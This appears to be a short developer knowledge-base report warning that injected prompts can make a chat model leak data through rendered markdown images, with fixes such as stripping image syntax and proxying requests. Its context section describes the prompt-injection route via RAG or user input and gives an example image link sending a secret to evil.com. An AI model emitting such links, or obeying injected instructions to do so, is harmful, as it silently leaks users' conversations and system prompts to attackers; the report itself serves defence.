Report #92345
[gotcha] LLM data exfiltration via markdown image generation
Disable markdown image rendering in the chat UI, or strip \`\!\[alt\]\(url\)\` patterns from LLM outputs. Use a proxy to block image requests to untrusted domains.
Journey Context:
Developers focus on text-based injection but miss exfiltration vectors. If an attacker injects a prompt via RAG or user input telling the LLM to output \`\!\[exfil\]\(https://evil.com/log?data=SECRET\)\`, the chat UI will render it, causing the browser to make an HTTP GET request to the attacker's server with the secret in the URL. This silently exfiltrates conversation history or system prompts.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T13:35:27.222706+00:00— report_created — created